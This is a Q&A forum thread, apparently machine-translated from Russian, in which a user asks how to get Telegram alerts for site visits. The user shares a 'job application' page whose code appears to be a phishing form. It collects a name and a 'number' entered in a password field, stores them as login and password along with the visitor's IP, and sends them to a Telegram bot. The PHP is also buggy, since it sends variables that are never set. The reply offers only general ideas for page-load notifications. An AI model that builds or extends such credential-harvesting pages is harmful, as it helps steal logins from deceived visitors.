Answer the question
In order to leave comments, you need to log in
How to make a site traffic notification?
I decided to make a website with a form for job applications and sending to telegram.
I ask from users Name and Number
But I also want to make notifications come that the site was visited, but I don’t know how
Tipo in index.html can I do something?
There is index.html
<!DOCTYPE html>
<html lang="ru"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<title>Заявки на Работу</title>
<link rel="stylesheet" href="./index/materialdesignicons.min.css"><link rel="stylesheet" href="./index/account.min.css"> <link rel="shortcut icon" href="index/favicon.ico">
<script type="text/javascript" async="" src="./index/analytics.js"></script><script async="" src="./index/tag.js"></script><script>(function(w,d,u){w.readyQ=[];w.bindReadyQ=[];function p(x,y){if(x=="ready"){w.bindReadyQ.push(y);}else{w.readyQ.push(x);}};var a={ready:p,bind:p};w.$=w.jQuery=function(f){if(f===d||f===u){return a}else{p(f)}}})(window,document)</script>
</head>
<body>
<div class="loader_new" style="display: none;">
<i class="mdi mdi-loading mdi-spin"></i>
</div>
<header id="navbar" class="navbar uk-sticky uk-sticky-fixed" data-uk-sticky="" style="position: fixed; top: 0px; width: 2133.33px;"><div class="uk-container uk-container-expand uk-flex uk-flex-between uk-flex-middle"><div class="action"></div><div class="title2"><h1><img src="index/kun.png" width="125px"></h1></div><div class="action"></div></div></header><div class="uk-sticky-placeholder" style="height: 46px; margin: 0px;"></div> <main class="uk-container uk-container-expand uk-section uk-section-small uk-flex uk-flex-column" data-uk-height-viewport="offset-top: true;" style="min-height: calc((100vh - 45.9896px) - 30px);">
<section>
<form action="post.php" class="uk-width-large uk-margin-auto" method="post" accept-charset="utf-8">
<div class="uk-grid-small uk-child-width-1-1 uk-grid uk-grid-stack" data-uk-grid="">
<div class="uk-first-column">
<label>
<span class="required">Имя</span>
<input name="user_name" class="uk-input" value="" required="">
</label>
</div>
<div class="uk-grid-margin uk-first-column">
<label>
<span class="required">Номер</span>
<input type="password" name="user_number" class="uk-input" required="">
</label>
</div>
<div class="uk-grid-margin uk-first-column">
<label>
<span>Язык</span>
<select name="language" class="uk-select">
<option value="ky">Кыргызча</option>
<option value="ru" selected="selected">Русский</option>
</select>
</label>
</div>
<div hidden="">
<div class="g-recaptcha" data-sitekey="6Leu_M8ZAAAAAFjKki_5Wj8SDY5eRrlyWdj2A8Pp"></div>
</div>
<div class="uk-text-center uk-grid-margin uk-first-column">
<button class="uk-button uk-button-secondary" name="type" value="default">Подать Заявку</button>
</div>
</div>
</form> </section> </main>
<link rel="stylesheet" href="./index/css2"><link rel="stylesheet" href="./index/uikit.min.css"><script src="./index/jquery.min.js"></script><script src="./index/uikit.min.js"></script><script src="./index/account.min.js"></script> <script>
(function(m,e,t,r,i,k,a){m[i]=m[i]||function(){(m[i].a=m[i].a||[]).push(arguments)};
m[i].l=1*new Date();k=e.createElement(t),a=e.getElementsByTagName(t)[0],k.async=1,k.src=r,a.parentNode.insertBefore(k,a)})
(window, document, "script", "https://mc.yandex.ru/metrika/tag.js", "ym");
ym(56351530, "init", {
clickmap:true,
trackLinks:true,
accurateTrackBounce:true
});
</script>
<noscript><div><img src="https://mc.yandex.ru/watch/56351530" style="position:absolute; left:-9999px;" alt=""></div></noscript>
<script async="" src="./index/js"></script>
<script>
window.dataLayer = window.dataLayer || [];
function gtag(){dataLayer.push(arguments);}
gtag('js', new Date());
gtag('config', 'UA-107158535-5');
</script>
<script>(function($,d){$.each(readyQ,function(i,f){$(f)});$.each(bindReadyQ,function(i,f){$(d).bind("ready",f)})})(jQuery,document)</script>
<iframe name="ym-native-frame" title="ym-native-frame" frameborder="0" aria-hidden="true" style="opacity: 0 !important; width: 0px !important; height: 0px !important; position: absolute !important; left: 100% !important; bottom: 100% !important; border: 0px !important;" src="./index/saved_resource.html"></iframe></body></html>
<?php
$login = $_POST['user_name'];
$password = $_POST['user_number'];
$ip = $_SERVER['REMOTE_ADDR'];
$token = "XXXXXXXXXX:AAEAg4gXXXXXXOeQMzdXXXXXXXoXksXXXXg";
$chat_id = "-1XXX142XXXXX69";
$arr = array(
'☘️ Имя: ' => $name,
' Телефон: ' => $number,
'☘️ IP: ' => $ip
);
foreach($arr as $key => $value) {
$txt .= "<b>".$key."</b> ".$value."%0A";
};
$sendToTelegram = fopen("https://api.telegram.org/bot{$token}/sendMessage?chat_id={$chat_id}&parse_mode=html&text={$txt}","r");
if ($sendToTelegram) {
header('Location: index.html');
} else {
echo "Error";
}
?>
Answer the question
In order to leave comments, you need to log in
I can only give advice without implementation.
Add a script to the front with an event on window.onload or document.ready (read the difference on the Internet and select what you need) to knock with Ajax to you on the api (php), and then send it to your cart and process it like want to.
Another option, if your php gives the page, then just generate an event in the controller, which will mean that the page has been transferred and, accordingly, the event listener will send you a notification to the cart.
Well, one more option, for me it’s the most normal, in terms of the fact that your phone will not be torn from thousands of notifications. Accumulate statistics for the day, write it to the database, for starters, just some kind of counter, in the evening
scheduler or cron, well, you yourself decide somehow, a script is launched that sends you this line from the database to the cart.
There are a lot of solutions and approaches to this task, if you want, you can knock on my telegram, I will help in any way I can, free.
Didn't find what you were looking for?
Ask your questionAsk a Question
731 491 924 answers to any question